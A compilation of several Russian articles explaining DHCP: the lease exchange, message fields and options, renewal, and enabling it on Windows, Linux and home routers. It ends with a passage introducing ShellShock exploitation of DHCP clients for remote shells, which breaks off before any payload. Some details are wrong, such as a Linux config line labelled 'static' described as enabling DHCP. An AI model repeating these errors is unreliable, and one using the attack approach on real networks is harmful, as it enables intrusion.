Dhcp

Всем привет! Начнем, пожалуй, с вопроса – а что же такое DHCP, и для чего он нужен? Давайте разберем на конкретном примере. Почти у каждого дома есть Wi-Fi роутер (маршрутизатор), к которому можно подключить компьютер, телефон, планшет, телевизор, сетевой принтер или даже камеру видеонаблюдения. Подключить можно как по Wi-Fi, так и по сетевому кабелю.

В общем любое устройство, на котором есть специальный сетевой порт или Wi-Fi адаптер. К примеру, у нас есть общага, где студенты подключили три устройства к роутеру:

  • Ноутбук ботаника, который готовится к ГОСам.
  • Компьютер бородатого студента переростка, от которого пахнет пельменями и потным свитером.
  • Телефон блондинки, которой нужно готовиться к экзаменам, но она вчера ходила в ночной клуб и после бодуна лежит без задних ног.

Роутер также выполняет роль шлюза – ведь он подключен одновременно к сети провайдера (интернету) и создает вашу домашнюю (локальную) сеть. Чтобы получить доступ к интернету, каждое из этих устройств должно отправить запрос на роутер. В ответ роутер также должен отправить ответ. Но сам ответ должен прийти нужному адресату – и вот для этих целей используются IP адреса. Все как на почте, нет адреса – некуда отправлять пакет с информацией.

DHCP сервер автоматически назначает адреса всем подключенным устройствам:

  • Ноутбук (192.168.1.10)
  • Компьютер (192.168.1.11)
  • Телефон (192.168.1.12)

Если говорить простыми словами, то DHCP – это специальный протокол, который используется в сетях, позволяющий автоматически назначать IP адреса подключенным устройствам. В данном примере мы рассмотрели IPv4 DHCP адресацию. Но есть также и IPv6 адресация, которая используется немного реже. Чуть ниже я немного шире раскрою это понятие, а также расскажу, где находится DHCP клиент и сервер в домашней среде.

Ищущим знаний и мудрости советую почитать дополнительные статьи про:

  • Wi-Fi.
  • Роутер.
  • Витую пару.
  • Сетевую модель OSI.

Виды IP и DHCP

Чаще всего DHCP на роутере выдает адреса на какое-то время, то есть когда данное время пройдет, адрес обновится на другой. При этом IP становится динамическим (как настройка самого сервера). В более редких случаях адреса выдаются на постоянной основе и существуют всегда – тогда такие IP называются постоянными или статическими.

Также администратор может прописать адрес вручную на самом устройстве: компьютере, ноутбуке или телефоне. Или прописать статический IP в самом роутере. Так часто делают в крупных организациях, чтобы уменьшить риск потери пакетов из-за резкой смены IP адресов.

Принцип действия

  1. Изначально компьютер (если там стоят настройки, чтобы получать от DHCP сервера конфигурацию адреса) отправляет запрос на получение адреса.
  2. Комп принимает и устанавливает IP, отправляет обратно запрос на то, что адрес установлен.
  3. Сервер записывает данный адрес в таблицу маршрутизации и отправляет обратный ответ, что адрес теперь точно его.
  4. Комп принимает ответ и подтверждает настройки IP адреса.

IP адресация

В сетевой адресации есть также такое понятие как «SCOPE», когда с помощью IP адресации разделяются сегменты сети. Например, в крупной компании можно разделить сеть на подсети:

  • Бухгалтерия (192.168.1.xxx).
  • Отдел кадров (192.168.2.xxx).
  • Отдел продаж (192.168.3.xxx).
  • Юристы (192.168.4.xxx).

Как видите третья цифра обычно и разделяет сети на «области действия». Сделано это с точки зрения безопасности, чтобы сотрудники имели доступ только к своему локальному сегменту.

Проблемы с интернетом и сетью

Как правило DHCP клиент автоматом установлен на компьютере, а DHCP сервер уже запущен на роутере. Но бывают случаи, когда данные настройки DHCP неправильно настроены или вообще выключены. Тогда возникают трудности с интернетом. Мы также рассмотрим именно домашнюю сеть и обычный Wi-Fi маршрутизатор. Так что если у вас наблюдаются такие проблемы или вылезает ошибка «DHCP не включен на сетевом адаптере», то нужно проверить настройки.

Настроить на Windows

  1. Нажимаем на клавиши «Win» и английскую «R» и прописываем команду: «ncpa.cpl».
  1. У вас должно быть несколько адаптеров – нужно выбрать именно тот, через который вы подключены к роутеру (по Wi-Fi или по кабелю). Нажимаем правой кнопкой и заходим в «Свойства».
  1. Один раз нажимаем на строку с четвертым протоколом и заходим в «Свойства».
  1. Если данный способ не помог, то давайте ещё проверим, чтобы была включена служба DHCP – нажимаем на клавиши «WIN+R» и прописываем: «services.msc».
  1. Находим в списке «DHCP-клиент», заходим в свойства и ставим тип запуска в «Автоматический» режим. Также проверьте «Состояние» (чуть ниже) – если служба выключена, нажмите на кнопку «Запустить». В самом конце применяем параметры.

Если проблема останется, то значит сервер отключены или не работает на роутере. Его можно попробовать перезагрузить, но лучше проверить конфигурацию в Web-интерфейсе (админка).

На роутерах

Напомню, что тут мы настраиваем именно сервер, то есть место, откуда будут высылаться настройки на конечные устройства. В первую очередь нужно зайти в настройки роутера – для этого прописываем его IP адрес в адресную строку браузера. Чаще всего используются адреса: 192.168.1.1 или 192.168.0.1. Если у вас есть сложности с этим , то смотрим эту инструкцию.

Вы также можете встретить такое понятие как «DHCP-relay» – это функция, которая позволяет вашему роутеру подключаться к другому и принимать настройки DHCP от него. То есть после этого адреса будет раздавать не ваш основной маршрутизатор, а другой сервер. Функция полезна при организации больших сетей из нескольких сетевых аппаратов.

ASUS

«Локальная сеть» – «DHCP-сервер» – проверьте, чтобы в строке «Включить…» стояло значение «Да». Ниже вы можете указать диапазон адресов и время аренды. В самом низу можно вручную назначить адреса для подключенных устройств.

D-Link

Новая прошивка

«Расширенные настройки» – «LAN».

Старая прошивка

«Сеть» – «LAN».

Первый IP – это адрес самого роутера. Режим – для включения переводим в состояние «Разрешить». Ниже можно указать диапазон и установить статические адреса.

TP-Link

Новая прошивка

«Дополнительные настройки» – «Сеть» – «LAN» – ставим галочку «Включить».

Старая прошивка

Переходим в нужную нам вкладку. В настройках – вы можете включить сервер и изменить диапазон адресов и время. В списке вы увидите все подключенные аппараты. В разделе «Резервирование адресов» можно установить статические IP.

ZyXEL Keenetic

Старая прошивка

Нажимаем на значок двух монитором и переходим в «Сегменты» – тут вы увидите подсети, которые созданы по умолчанию. Домашняя находится в «Home» – откройте её.

Тут можно установить интерфейсы, но, самое главное, чтобы в строке «Сервер» стояла галочка «Включен».

Новая прошивка

Заходим в раздел «Мои сети и Wi-Fi», выбираем сегмент (Home) и заходим туда. Все аналогично, как и в старой прошивке.

Полезна ли Вам эта статья?

Всем привет! Сегодня статью мы посвятим рассказу о протоколе DHCP (Dynamic Host Configuration Protocol) – что он из себя представляет, для чего он нужен и как он работает. DHCP доступен как для IPv4 (DHCPv4) , так и для IPv6 (DHCPv6) . В этой статье мы рассмотрим версию для IPv4. А следующей статье мы расскажем про его настройку.

Каждому устройству, подключенному к сети, нужен уникальный IP-адрес. Сетевые администраторы назначают статические IP-адреса маршрутизаторам, серверам, принтерам и другим сетевым устройствам, местоположение которых (физическое и логическое) вряд ли изменится. Обычно это устройства, предоставляющие услуги пользователям и устройствам в сети, поэтому назначенные им адреса должны оставаться постоянными. Кроме того, статические адреса позволяют администраторам удаленно управлять этими устройствами – до них проще получить доступ к устройству, когда они могут легко определить его IP-адрес.

Однако компьютеры и пользователи в организации часто меняют места, физически и логически. Это может быть сложно и долго назначать новые IP-адреса каждый раз, когда сотрудник перемещается. А для мобильных сотрудников, работающих из удаленных мест, вручную настройка правильных параметров сети может быть весьма непростой задачей.

Использование DHCP в локальной сети упрощает назначение IP-адресов как на настольных, так и на мобильных устройствах. Использование централизованного DHCP-сервера позволяет администрировать все назначения динамических IP-адресов с одного сервера. Эта практика делает управление IP-адресами более эффективным и обеспечивает согласованность внутри организации, включая филиалы.

DHCPv4 динамически назначает адреса IPv4 и другую информацию о конфигурации сети. Отдельный сервер DHCPv4 является масштабируемым и относительно простым в управлении. Однако в небольшом офисе маршрутизатор может быть настроен для предоставления услуг DHCP без необходимости выделенного сервера.

DHCPv4 включает три разных механизма распределения адресов для обеспечения гибкости при назначении IP-адресов:

  • Ручное распределение(Manual Allocation) — администратор назначает предварительно установленный IPv4-адрес клиенту, а DHCP сервер передает IPv4-адрес на устройство.
  • Автоматическое распределение(Automatic Allocation) — DHCPv4 автоматически назначает статический IPv4-адрес на устройство, выбирая его из пула доступных адресов. Нет аренды (lease), и адрес постоянно назначается устройству.
  • Динамическое распределение (Dynamic Allocation) — DHCPv4 динамически назначает или дает в аренду IPv4-адрес из пула адресов в течение ограниченного периода времени, выбранного сервером, или пока клиент больше не нуждается в адресе.

Динамическое распределение является наиболее часто используемым механизмом DHCP и при его использовании клиенты арендуют информацию с сервера на определенный период. DHCP серверы настраивают так, чтобы установить аренду (лизинг) с различными интервалами. Аренда обычно составляет от 24 часов до недели или более. Когда срок аренды истекает, клиент должен запросить другой адрес, хотя обычно он снова получает старый.

Механизм работы DHCP

DHCPv4 работает в режиме клиент/сервер. Когда клиент взаимодействует с сервером DHCPv4, сервер назначает или арендует IPv4-адрес этому клиенту. Он подключается к сети с этим арендованным IP-адресом до истечения срока аренды и должен периодически связываться с сервером DHCP, чтобы продлить аренду. Этот механизм аренды гарантирует, что клиенты, которые перемещаются или выходят из строя, не сохраняют за собой адреса, которые им больше не нужны. По истечении срока аренды сервер DHCP возвращает адрес в пул, где он может быть перераспределен по мере необходимости.

Рассмотрим процесс получения адреса:

  1. Когда клиент загружается (или хочет присоединиться к сети), он начинает четырехэтапный процесс для получения аренды. Он запускает процесс с широковещательным (broadcast) сообщением DHCPDISCOVER со своим собственным MAC-адресом для обнаружения доступных серверов DHCPv4. Поскольку у клиента нет способа узнать подсеть, к которой он принадлежит, у сообщения DHCPDISCOVER адрес назначения IPv4 адреса -255.255.255.255. А поскольку у клиента еще нет настроенного адреса IPv4, то исходный IPv4-адрес — 0.0.0.0.
  2. Сообщение DHCPDISCOVER находит серверы DHCPv4 в сети. Поскольку клиент не имеет IPv4 информации при загрузке, он использует широковещательные адреса 2 и 3 уровня для связи с сервером.
  3. Когда DHCPv4-сервер получает сообщение DHCPDISCOVER, он резервирует доступный IPv4-адрес для аренды клиенту. Сервер также создает запись ARP, состоящую из MAC-адреса клиента и арендованного IPv4-адреса DHCP сервер отправляет связанное сообщение DHCPOFFER запрашивающему клиенту, как одноадресная передача (unicast), используя MAC-адрес сервера в качестве исходного адреса и MAC-адрес клиента в качестве адреса доставки.
  4. Когда клиент получает DHCPOFFER с сервера, он отправляет обратно сообщение DHCPREQUEST. Это сообщение используется как для получения, так и для продления аренды. Когда используется для получения аренды, DHCPREQUEST служит в качестве уведомления о принятии выбранных сервером параметров, которые он предложил, и отклонении предложения от других серверов. Многие корпоративные сети используют несколько DHCP серверов, и сообщение DHCPREQUEST отправляется в виде широковещательной передачи, чтобы информировать все серверы о принятом предложении.
  5. При получении сообщения DHCPREQUEST сервер проверяет информацию об аренде с помощью ICMP-запроса на этот адрес, чтобы убедиться, что он уже не используется и создает новую ARP запись для аренды клиента, а затем отвечает одноадресным DHCPACK-сообщением. Это сообщение является дубликатом DHCPOFFER, за исключением изменения поля типа сообщения. Когда клиент получает сообщение DHCPACK, он регистрирует информацию и выполняет поиск ARP для назначенного адреса. Если ответа на ARP нет, клиент знает, что адрес IPv4 действителен и начинает использовать его как свой собственный.

Теперь рассмотрим, как происходит продление аренды адреса:

  1. Когда срок аренды истек, клиент отправляет сообщение DHCPREQUEST непосредственно DHCP серверу, который первоначально предлагал адрес. Если DHCPACK не получен в течение определенного периода времени, то клиент передает другой DHCPREQUEST, чтобы один из других доступных серверов DHCPv4 мог продлить аренду.
  2. При получении сообщения DHCPREQUEST сервер проверяет информацию об аренде, возвращая DHCPACK

Пожалуйста, расскажите почему?

😪Нам жаль, что статья не была полезна для вас 🙁 Пожалуйста, если не затруднит, укажите по какой причине? Мы будем очень благодарны за подробный ответ. Спасибо, что помогаете нам стать лучше!

😍Подпишитесь на нашу еженедельную рассылку, и мы будем присылать самые интересные публикации 🙂 Просто оставьте свои данные в форме ниже.

P.S. Если укажите свою дату рождения, то мы обязательно Вас поздравим и подарим небольшой подарок 🙂

Эти статьи могут быть вам интересны:

Как настроить?

Даже многие системные администраторы, годами работающие с сетевыми устройствами, не всегда могут дать чёткий и внятный ответ — что такое DHCP сервер. Знают что если он работает, то у компьютера появится IP-адрес — и то хорошо.
А ведь это очень важный момент! Этот протокол значительно облегчает жизнь системному администратору при настройке и управлении сетями. Он работает как в обычных домашних сетях на бытовых WiFi-роутерах и модемах, так и в крупных корпоративных сетях и помогает компьютеру, ноутбуку или иному сетевому устройству быстро получить АйПи-адрес и идентифицироваться.
Давайте подробнее рассмотрим основные принципы работы DHCP сервера.

Что такое DHCP?

DHCP — Dynamic Host Configuration Protocol — это протокол динамической настройки узла прикладного уровня по модели OSI. Он разработан ещё в 1993 году, но до сих пор не только не потерял актуальности, но и наоборот — получил новую версию для работы с протоколом IPv6. Модель работы — «Клиент-сервер». При этом, у DHCP-сервера есть собственный метод обмена сообщениями между клиентом и сервером. Протокол позволяет выполнить автоматическую настройку протокола IP версии 4, а так же и более новой версии 6, тем самым облегчив процесс настройки сети и исключив вероятность ошибки при ручном вводе данных.

Что делает DHCP-сервер?!

На ДХЦП-сервере системным администратором задаётся определённый диапазон IP-адресов, которые можно выдавать устройствам-клиентам при обращении. При этом дополнительно может настраиваться срок аренды адреса (lease time) в течение которого он закреплён за MAC-адресом компьютера и не может быть занят иным устройством.

У сервера есть три варианта распределения адресов в сети:

1 — Динамическое. Именно этот вариант работает на 95% серверов. Адрес выдаётся компьютеру на определённый срок (время аренды), по истечению которого АйПи будет считаться свободным и может быть назначен иному компьютеру в сети.

2 — Автоматическое. Всё аналогично динамическому распределению, за тем лишь исключением, что IP выдаётся устройство на постоянной основе и более не меняется.

3 — Ручное. В этом случае администратором сервера составляется таблица соответствия IP и MAC-адресов устройств, согласно которой в дальнейшем они и будут получать сетевые параметры. Этот способ практически не используется. Если только в сетях с повышенным уровнем безопасности.

Как работает DHCP сервер

Работа сервера основывается на широковещательных сетевых запросах. Процедура «общения» клиента и сервера выглядить примерно так:

1. Клиент отправляет broadcast-сообщение «Мне нужен IP»
2. Сервер отвечает таким же сообщением «У меня есть адрес xxx.xxx.xxx.xxx. Устроит?»
3. Клиент — «Да устроит!»
4. Сервер — «ОК! Адрес xxx.xxx.xxx.xxx зарезервирован за тобой».
Для представленного «общения» используются следующие специальные широковещательные broadcast-запросы.

Вот, для наглядности, схема диалога клиента и сервера ДХЦП:

Диапазон IP-адресов, предназначенных для распределения между клиентами одной сети с помощью протокола DHCP, рассматривается как единый административный блок. Он называется «область действия» — scope. Если сервер работает с несколькими подсетями, то при настройке службы DHCP, администратор должен создать отдельную область действия для каждой физической подсети.
В идеале, для стабильной работы, для каждого обслуживаемого сегмента сети должно быть как минимум два DHCP-сервера, но для домашнего использования это требование не актуально.

Виды запросов сервера

Схема обмена сообщениями между клиентом и DHCP сервером:

DHCPDISCOVER — Это сообщение отправляется клиентом при подключении к сети для поиска активного DCHP сервера. При этом в качестве исходного IP используется 0.0.0.0, а в качестве адреса доставки — 255.255.255.255.

DHCPOFFER — Ответное сообщение DHCP-сервера на клиентский запрос DHCPDISCOVER, в котором предлагаются определённые сетевые настройки.

DHCPREQUEST — Broadcast-сообщение от клиента в ответ на DHCPOFFER, сообщающее о том, что он принял настройки.

DHCPACK — ответное послание клиенту после получения от него DHCPREQUEST, означающее завершение процесса общения. Оно подтверждает о том, что всё согласовано и ПК может работать в сети.

DHCPRELEASE — Такое широковещательное сообщение отправляется клиентом если он прекращает использования сетевого адреса.

DHCPNAK — Этот ответ будет отправлен клиенту в случае, если невозможно удовлетворить параметры DHCPREQUEST.

DHCPDECLINE — Широковещательный ответ серверу в том случае, когда клиент обнаруживает, что присвоенный ему IP-адрес уже используется.

DHCPINFORM — Сообщение серверу в том случае, если у клиента DHCP прописан статический IP-адрес и он не нуждается в динамическом распределении.

Сообщения протокола DCHP имеют следующие поля:

Поле Длина (байты) Описание
op 1 Тип сообщения
htype 1 Тип адреса аппаратной части
hlen 1 Длина адреса аппаратной части
hops 1 Используемое количество агентов ретрансляции. Клиенты устанавливают значение на 0.
xid 4 ID (уникальный идентификационный номер) транзакции используемой клиентом и серверов во время сессии
secs 2 Прошедшее время (в секундах) с момента запроса клиентом начала процесса
flags 2 Значение флагов
ciaddr 4 IP-адрес клиента (если имелся ранее).
yiaddr 4 IP-адрес, предложенный сервером клиенту
siaddr 4 IP-адрес сервера
giaddr 4 IP-адрес relay-агента (агента ретрансляции)
chaddr 16 Адрес аппаратной части клиента (в основном MAC).
sname 64 Имя сервера.
file 128 Название загрузочного файла.
options изменяемая Дополнительные опции

Как включить DHCP на сетевом адаптере

В операционной системе Windows 10 DHCP-клиент включен по умолчанию как служба, а на сетевом адаптере необходимо выставить автоматическое получение IP. Для этого нажимаем комбинацию клавиш Win+R чтобы открыть окно «Выполнить» и вводим команду ncpa.cpl.

Нажимаем на кнопку «ОК». Появится окно с сетевыми подключениями Виндовс 10.

На том адаптере, где хотим включить DHCP, кликаем правой кнопкой чтобы появилось контекстное меню. В меню — выбираем пункт «Свойства».

В следующем окне надо выбрать строчку «IP версии 4(TCP/IPv4)» и нажимаем на кнопку «Свойства» чтобы открыть параметры протокола:

Здесь необходимо поставить галочки на автоматическое получение адресов и нажать на кнопку «ОК».

В операционных системах семейства Linux все настройки прописаны в конфигурационных файлах. Например, в популярной Ubuntu это /etc/network/interfaces. Вот пример конфига, который позволяет включить DHCP на сетевом адаптере eth0:

Здесь:
auto eth0 — автоматическое включение сетевой карты eth0 при загрузке системы.
iface eth0 inet static — этой строчкой мы указываем системе, что интерфейс сетевой карты eth0 находится в диапазоне адресов с динамическим получением ip.

Если в системе работает менеджер соединение Network Manager, то можно включить DHCP на сетевом адаптере и в графическом интерфейсе:

P.S.:
Отдельно стоит отметить что наличие работающего сервиса DHCP является признаком хорошего тона для любой локальной сети. Настройка сервера требует от администратора особых серьёзных знаний! В большинстве современных сетевых устройств (терминалов, роутеров и модемов) он вообще уже настроен по умолчанию и не требует дополнительной конфигурации.

Записки IT специалиста

В современных сетях служба DHCP является одной из базовых, обеспечивая автоматическую настройку сетевых параметров у клиентов и от правильности ее работы зависит надежное функционирование всей сети. Поэтому важно иметь хотя бы базовые представления о работе одноименного протокола, что позволит не только грамотно подойти к настройке, но и оперативно устранить возможные проблемы. Тем более что протокол DHCP достаточно прост и разобраться в нем может каждый, достаточно иметь начальные знания о работе сетей.

DHCP — это клиент-серверный протокол, использующий в качестве транспорта UDP, порт сервера — 67, порт клиента — 68. Так как для работы протокола используется широковещание (broadcast), то его действие ограничено текущей подсетью (широковещательным доменом). Для взаимодействия с клиентами расположенными в иных широковещательных доменах могут использоваться агенты ретрансляции (DHCP Relay), о них мы поговорим позже.

Основная задача протокола — получение клиентом IP-адреса, поля для иных сетевых настроек не предусмотрены, дополнительные сетевые параметры передаются протоколом DHCР в виде опций, например: опция 1 — маска сети, опция 3 — адрес маршрутизатора (основной шлюз), опция 6 — адреса серверов имен (DNS).

Получение адреса

Рассмотрим процесс получения IP-адреса, он достаточно прост и состоит из четырех этапов, которые в упрощенном виде показаны на следующей схеме:

Начинает этот процесс клиент, отправляя широковещательное сообщение Обнаружения DHCP (DHCP DISCOVER), в качестве обязательных полей передается номер транзакции — xid, MAC-адрес устройства — chaddr, также в опциях передается последний присвоенный клиенту IP-адрес, однако данная опция может быть проигнорирована сервером.

Все это можно увидеть, если заглянуть внутрь DHCP-пакета:

В данном случае это запрос обнаружения (Discover), цветом мы отметили упоминавшиеся выше поля и опции. Вроде бы все просто, но есть некоторые моменты, которые обычно обходятся молчанием, но способны вызвать определенные затруднения от неверного их понимания.

Обратим внимание на опцию 55 (Parameter Request List) — это список опции запрашиваемых клиентом. Именно так, опции всегда запрашиваются клиентом. С непониманием этого момента связаны ситуации, когда администратор добавил на сервере нужные ему опции, но клиенты их «почему-то» не получают. Ниже показан состав данной опции для Linux и Windows клиентов:

Можно увидеть, что Linux-клиент запрашивает опцию 42 — сервера времени (NTP), а Windows нет, поэтому даже если вы укажете ее на сервере, то Windows-клиенты не будут ее использовать. А что радует, так это что оба клиента запрашивают обе опции для получения маршрутов: предусмотренную стандартом 121 и введенную Microsoft 249.

Запрос обнаружения рассылается для всех узлов сети, но отвечают на него только DHCP-сервера, формируя сообщение Предложения DHCP (DHCP OFFER), которое содержит предлагаемую сервером сетевую конфигурацию. Если серверов несколько, то предложений клиент получит несколько. Из предложенных конфигураций клиент выбирает одну, как правило полученную первой. Предлагаемый клиенту адрес содержится в специальном поле yiaddr, а поле siaddr передается адрес DHCP-сервера.

Так как MAC-адрес отправителя известен, то сервер направляет ответ непосредственно клиенту (unicast), хотя в некоторых случаях может ответить и широковещательным пакетом. Например, DHCP-сервера dnsmasq и Mikrotik отвечает непосредственно клиенту (юникастом), в то время как DHCP Windows Server отвечает широковещательным пакетом. По большому счету это не имеет особого значения, просто вы должны знать, что это вполне допустимые режимы работы DHCP-сервера и не являются признаком неправильной работы.

В структуре ответа мы также отметили цветом вышеописанные опции, также обратите внимание, что в данном случае ответ был отправлен широковещательным пакетом (Windows Server). Ниже показана структура ответа dnsmasq:

Здесь видно, что сервер ответил непосредственно клиенту (отправив фрейм на его MAC-адрес), не прибегая к широковещательной рассылке.

Остальные сетевые параметры передаются в виде опций, в нашем случае это опции 1, 3 и 6 (маска, шлюз, DNS):

Приняв предложение клиент официально запрашивает у сервера данную конфигурацию, для чего отправляет широковещательно Запрос DHCP (DHCP REQUEST), он полностью повторяет по структуре сообщение обнаружения (Discover), только добавляет к нему опцию 54 с адресом сервера, конфигурацию которого клиент принял. Опция 50 содержит предложенный сервером IP-адрес. Несмотря на то, что MAC-адрес DHCP-сервера известен, запрос (Request) рассылается широковещательно, это нужно для того, чтобы остальные DHCP-сервера понимали, что их предложение отвергнуто.

Выше показана структура запроса, можете сравнить его с пакетом обнаружения, обратите внимание на заполненное значение опции 54.

Получив запрос сервер направляет клиенту в ответ Подтверждение DHCP (DHCP ACK), которое отправляется на MAC-адрес клиента (хотя может и широковещательно) и получив которое клиент должен настроить свой сетевой адаптер согласно указанного адреса и опций.

По структуре сообщение подтверждения (Ask) практически не отличается от предложения (Offer), за исключением того, что поле siaddr с адресом DHCP-сервера не заполняется, но его адрес передается в опции 54.

Получив адрес клиент может проверить его на предмет использования при помощи широковещательного ARP-запроса (в большинстве реализаций так и происходит) и если будет обнаружено, что выделенный адрес уже используется (скажем, назначен вручную), то клиент посылает широковещательное сообщение Отказа DHCP (DHCP DECLINE) и начинает процесс получения адреса заново. Сервер, получив сообщение отказа, должен пометить указанный адрес как недоступный и уведомить администратора о возможной проблеме в конфигурации (например, записью в логе).

Также клиент может самостоятельно отказаться от выданного адреса, отправив серверу сообщение Освобождения DHCP (DHCP RELEASE), в отличии от других сообщений, освобождение направляется юникастом серверу, выдавшему адрес. Получив такое сообщение сервер помечает адрес как доступный, но на всякий случай оставляет запись о клиенте, если он захочет получить адрес повторно. Это поведение не является обязательным, но реализовано в большинстве DHCP-серверов.

Обновление адреса

IP-адрес выдается клиенту на определенное время, называемое сроком аренды, его значение зависит от настроек сервера и может варьироваться в широких пределах, например, для DHCP-сервера Windows стандартный срок аренды — 8 дней.

В зависимости от срока прошедшего с момента получения адреса клиент может находится в одном из нескольких состояний.

Сразу после получения адреса клиент переходит в нормальное состояние (BOUND), при этом устанавливаются два момента времени T1 — равный половине времен аренды и T2 — равный 7/8 срока. По достижении времени T1 клиент переходит в состояние Обновления адреса (RENEWING), при котором он пытается обновить свой IP-адрес.

Для этого он отправляет сообщение запроса (Request), в котором указывает текущий IP-адрес. Если сервер подтверждает аренду, то отвечает сообщением подтверждения (Ask), клиент сбрасывает счетчики T1 и T2 и начинает отсчет срока аренды заново.

Обратите внимание, что на сообщение запроса ответит только тот сервер, у которого имеется запись для этого клиента, если такой записи нет — запрос будет проигнорирован.

Данные о сроке аренды и времени обновления адреса и обновлении конфигурации передаются сервером в опциях 51, 58 и 59:

Если сервер не ответил клиенту, то он берет промежуток времени до окончания состояния обновления и делит его пополам, в это время будет отправлен повторный запрос, при его отсутствии промежуток времени снова будет поделен пополам, потом снова пополам, при этом полученный промежуток времени не может быть меньше 60 сек. Таким образом, чем ближе окончание срока обновления, тем чаще будут делаться запросы.

После наступления момента времени T2, если клиенту не удалось обновить адрес, он переходит в состояние обновления Обновления конфигурации (REBINDING). В этом случае он посылает сообщение Обнаружения DHCP, теперь клиенту может ответить любой DHCP-сервер, а не только тот, который выдал IP-адрес. Если ответа от сервера не было, то оставшееся время также делится пополам и запрос повторяется. Все это время клиент может продолжать пользоваться уже полученной сетевой конфигурацией и нормально работать.

Если же до окончания срока аренды ответ так и не был получен, то клиент прекращает все сетевые операции и переходит в состояние Инициализации (INIT). В последствии, при получении предложений (Offer) от различных серверов клиент предпочтет выбрать предложение от сервера, который выдавал ему адрес прошлый раз и продолжит пользоваться старым адресом.

Также при обновлении могут быть иные сценарии развития событий. Скажем, клиент был включен в другую подсеть. В этом случае при получении запроса DHCP (клиент не знает, что он в другой подсети и пытается продлить аренду) сервер определяет неподходящий адрес в запросе и отвечает ему сообщением Отмены DHCP (DHCP NAK), после чего клиент должен начать процедуру получения адреса заново.

Если сеть клиента корректна, но запрашиваемый адрес занят, то сервер также ответит сообщением отмены (Nak) и клиент начнет получение адреса повторно.

Получение дополнительной информации

Если клиент имеет статически назначенный IP-адрес, но хочет получить дополнительные параметры, скажем адрес серверов имен или статические маршруты, то он отправляет специальное широковещательное сообщение Информации DHCP (DHCP INFORM), в ответ сервера отправляют сообщение подтверждения (Ask) без выделения IP-адреса.

Атакуем DHCP

В данной статье мы расскажем, как эксплуатировать ShellShock на клиенте DHCP и получить на нем полноценный reverse или bind shell. Интернет пестрит статьями, повествующими о возможностях эксплуатации shellshock на DHCP-клиентах. Есть даже статьи о том, как получить reverse shell на DHCP-клиенте. Однако, стабильно и повсеместно работающего инструмента для получения shell мы еще не встречали. Те, кто в теме, возможно, нового здесь не увидят, но не исключено, что вам будет интересно узнать, как нам удалось автоматизировать получение reverse и bind shell в условиях фильтрации и экранирования символов на стороне DHCP-клиента. Кроме того, мы расскажем и о том, чем вообще может быть интересен протокол DHCP.

Протокол DHCP применяется для автоматического назначения IP-адреса, шлюза по умолчанию, DNS-сервера и т.д. В качестве транспорта данный протокол использует UDP, а это значит, что мы можем без особых проблем подменять все интересующие нас поля в сетевом пакете, начиная с канального уровня: MAC-адрес источника, IP-адрес источника, порты источника — то есть все, что нам хочется.

Работает DHCP, в двух словах, примерно так:

  1. DHCPDISCOVER Клиент отправляет широковещательный сетевой пакет с целью найти DHCP-сервер в сети, при этом с канальным уровнем все понятно и о нем писать дальше не будем, сетевой — исходя из собственного опыта, здесь может быть всякое — зависит от клиента, но должно быть:
    SRC IP: 0.0.0.0, DST IP: 255.255.255.255.
    На транспортном уровне все запросы отправляются так:
    SRC PORT: 68, DST PORT: 67
    Соответственно, когда сервер отвечает клиенту:
    SRC PORT: 67, DST PORT: 68
    Контрольную сумму UDP можно не считать. Мы не встречали ни одного DHCP-сервера, который бы ее проверял, да и сетевое оборудование пропускает пакеты с нулевым значением UDP checksum без проблем. В первом байте прикладного уровня (поле op — тип сообщения) клиент выставляет значение — 0х01 (BOOTREQUEST — запрос от клиента к серверу). На остальных полях пакета не будем останавливаться, поскольку их описание, длина и значения есть в RFC и в WIKI. В запросе от клиента нам также интересно поле xid (Transaction ID — рандомное число размером 4 байта по смещению 0х04 от начала прикладного уровня в пакете). Если сервер в ответе выставит поле xid не равным xid клиента, то клиент отбросит ответ от сервера, поскольку посчитает, что этот ответ в другой транзакции. Остановимся на DHCP-опциях пакета. Всего их 256, а полный список можно найти или . Клиент обязательно выставляет опцию с кодом 53 (DHCP message type тип DHCP сообщения) равной 0х01, это значит, что данный пакет предназначен для нахождения DHCP-сервера, и опцию 55 (Parameter Request List список запрашиваемых у сервера параметров, например адрес шлюза, маска подсети, DNS-серверы и т.д.).
    Вот так выглядит этот запрос в WireShark:

  2. DHCPOFFER Сервер получает запрос от клиента и отправляет ему предложение. На сетевом уровне в качестве SRC IP сервер выставляет свой IP-адрес, в DST IP должно быть: 255.255.255.255, но это не всегда так. В DST IP также может быть выставлен IP-адрес, выделенный клиенту, или IP-адрес ретранслятора, если тот участвует в процессе. Вы спросите, а как же пакет доходит до клиента, если у него еще нет IP-адреса? Все просто: в DHCPDISCOVER- и DHCPREQUEST-запросах, в поле chaddr (Сlient MAC address) клиент указывает свой MAC-адрес.
    Таким образом, сервер или ретранслятор знают, куда доставлять пакет на канальном уровне, поскольку сервер или ретранслятор всегда находятся в пределах одного широковещательного домена с клиентом, а что происходит на сетевом уровне, не так уж и важно UDP магия. В типе сообщения значение 0х02 (BOOTREPLY — ответ сервера клиенту). В поле xid выставляется значение, равное значению поля xid в запросе клиента. В поле yiaddr (Your (client) IP address) выставляется IP-адрес клиента, предложенный сервером. Что появляется в DHCP-опциях: в опции с кодом 53 (DHCP message type) значение — 0х02 (DHCPOFFER), код 51 (IP Address Lease Time) — время аренды IP-адреса, код 54 (Server Identifier) — IP-адрес DHCP-сервера. Все остальные опции предложения зависят от того, какие параметры запросил клиент, их список клиент указал в DHCPDISCOVER-запросе в опции с кодом 55 (Parameter Request List).

  3. DHCPREQUEST Клиент отправляет серверу запрос на получение сетевых параметров. На сетевом уровне должно быть так: SRC IP: 0.0.0.0 DST IP: 255.255.255.255 но может быть и так: в SRC IP выставляется IP-адрес, который назначил сервер в своем предложении (поле yiaddr), а в DST IP выставляется IP-адрес, который расположен в опции предложения сервера с кодом 54 (Server Identifier). DHCP-опции в этом запросе не отличаются от DHCPDISCOVER-запроса, за исключением опции с кодом 53 (DHCP message type тип DHCP сообщения), равной 0х03 — это значит, что данный пакет предназначен для запроса параметров от DHCP-сервера. И еще клиент добавляет в запрос опцию с кодом 54 (Server Identifier), поскольку уже знает IP-адрес сервера, а также опцию с кодом 50 (Requested IP address). Кроме того, клиент может выставить опцию 12(Host Name Option свое имя хоста) и т.п.

